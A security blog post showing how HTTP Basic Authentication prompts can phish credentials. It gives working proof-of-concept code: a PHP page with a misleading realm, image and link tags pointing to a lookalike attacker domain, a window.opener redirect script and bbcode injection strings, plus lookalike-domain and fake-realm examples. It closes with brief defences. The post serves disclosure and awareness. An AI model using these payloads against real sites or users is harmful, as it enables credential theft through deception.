Phishy Basic Authentication prompts

confused-idea-lightbulb In one of our previous posts, we noted that a popular tool – Responder – uses Basic Authentication prompts to harvest user credentials when they accidentally enter invalid domains in web browsers.

Responder’s approach is pretty good and it does some “magic” to catch and respond to DNS requests for in-existing domais, however I think that there is way more potential in using Basic Authentication for phishing purposes.

What I like (or dislike) most about basic authentication is that it is NEVER clear who is asking for your credentials and where they will end up. This type of confusion often tricks users into falling for simple phishing tricks, allowing attackers to easily gather user credentials.

Users should be able to determine if a Basic Authentication request is genuine based on 2 security indicators:

the IP address or domain of the entity that requests authentication. This often doesn’t help users since attackers can register domain names that resembles trusted domains. For example, when trying to leak the credentials for targetdomain.com, an attacker can register similar domains:
- targetdomain.co / .net
- target-domain.com
- targetdomain-oauth.com
- targetdomain-cdn.com
- targetdomain-images.com
- login-targetdomain.com
the authetication parameter “Realm”, however this is a string that can be arbitrary provided by the attacker. Depending on the context, simple strings might trick users to consider that the Basic Authentication prompt is genuine:
- “Network proxy authentication required”
- “You were logged out due to inactivity, please login again.”

Too much theory, let’s see a few examples where basic authentication prompts can be really confusing for the users. Presuming that targetdomain.com is a genuine website, an attacker can simply register (and control) target-domain.com, a website which might be confused with the original by some users.

1. Obtain Basic Authentication prompts by abusing HTML image tags

If an attacker can add HTML IMG tags to a websites and refer images from a domain that the attacker controls, then the attacker can force a Basic Authentication prompt before the image is loaded. Let’s have a short demo:

targetdomain.com/image.html – a page which includes a image from a 3rd party website: target-domain.com

<html>
	<body>

Just a funny cat image

		<img src="http://target-domain.com/basicauth.php" alt="Could not load image - Invalid credentils."/>
	</body>
</html>

target-domain.com/basicauth.php – the 3rd party page which will require Basic Authentication once accessed.

<?php $valid_passwords = array ("security" => "cafe");
$valid_users = array_keys($valid_passwords);

$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW'])   ? $_SERVER['PHP_AUTH_PW']   : "";

$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);

if (!$validated) {
  header('WWW-Authenticate: Basic realm="Corporate domain"');
  //header('HTTP/1.0 401 Unauthorized');
  die ("Not authorized");
}

// If the user enters valid credentials, just show him a cat picture

header("Location: https://kpmgsecurity.files.wordpress.com/2017/06/cat.jpg")

?>

As a result, a Basic Authentication prompt will appear, being generated by the image hosted on the 3rd party website. Needless to say that any credentials entered in the basic authentication prompt will be sent to the 3rd party website. This behavior can be reproduced on Firefox and IE, Chrome does not display the Basic Authentication prompt.

basicauth-image1

2. Obtain Basic Authentication prompts when opening a URL

If an attacker can add HTML Anchors to a website and add a link to a 3rd party website, then the attacker can add Basic Authentication to the 3rd party website and the user will be prompted before the navigation occurs.

targetdomain.com/link.html – a page which includes a link to a 3rd party website:

<html>
	<body>

A cool website you should visit: <a href="http://target-domain.com/basicauth.php">Click me!</a>

	</body>
</html>

As a result, a Basic Authentication prompt appears before the new URL is loaded, when the host page and URL are still displayed to the user. This behavior can be reproduced in Firefox and IE, Chrome will unload the host page and update the address bar before showing the Basic Authentication prompt.

basicauth-img2

3. Obtain Basic Authentication prompts when opening a URL in new tab

If the navigation occurs in a new tab, the Basic Authentication prompt can appear in the initial tab by abusing window.opener.

targetdomain.com/newtab.html – a page which includes a link that will be opened in new tab:

<html>
	<body>

Another cool website you should visit: <a href="http://target-domain.com/landingpage.html" target="_blank">Click me!</a>

	</body>
</html>

target-domain.com/landingpage.html – a page which will redirect the opener to a URL requiring Basic Authentication:

<html>
	<head>
		<title>Nothing here</title>
	</head>
	<body>
		<script>
			window.opener.location="http://target-domain.com/basicauth.php";
		</script>
	</body>
</html>

As a result, a Basic Authentication prompt appears in the tab from which the new URL is loaded, when the host page and URL are still displayed to the user. This behavior can be reproduced in Firefox and IE. Again, Chrome behaves differently and will unload the host page and update the address bar before showing the Basic Authentication prompt.

basicauth-img3

4. Obtain Basic Authentication prompts in Word documents

Even more, Basic Authentication prompts can appear in Word documents (thanks Microsoft!) if the documents contain templates which refer images from 3rd party websites. Such word documents can be served to victims via emails or public websites, which is very convenient for the attackers. Also, the process of creating such WORD documents can be automated by using Phishery.

The above are just a few examples where Basic Authentication prompts are displayed in a confusing manner for end users. Those examples have real world implications. Blogs, forums, collaborative platforms, e-learning platforms – all have options that allow users to add custom content – including images and links. Any website with text editors which allow bbcodes (or similar markup) might be vulnerable to such phishing attacks:


[img]http://target-domain.com/basicauth.php[/img]
<img>http://target-domain.com/basicauth.php</img>
[a]http://target-domain.com/basicauth.php[/a]
[url]http://target-domain.com/basicauth.php[/url]
... and many more examples

Protecting against such attacks is possible by (1) not allowing users to add images and links to your website or (2) wrapping all external resources with local URLs which could filter unwanted basic authentication prompts – similar with Facebook’s URL wrappers. While the first suggestion might beat the purpose of many websites, the second suggestion might be hard to implement and maintain on custom platforms.

If you feel like going a bit further on this subject, try to investigate what happens on mobile devices. Mobile browsers tend to compromise on security for the sake of usability, replacing the URL in the address bar with the page title, not showing SSL certificate details, not (or hardly) being able to view the source of the current page… A fun environment.

Why everyday’s user might confuse targetdomain.com with target-domain.com or similar imitations? Well, this is another discussion, maybe for another blog post, but I consider the trust chain to be broken. Since users are used with having the same trust in google.com and google.es, facebook.com and *.fbcdn.net, twitter.com and t.co, I consider it is inevitable for many users to get fooled by scam pages.

I’d like to hear your take on this subject.

Cheers!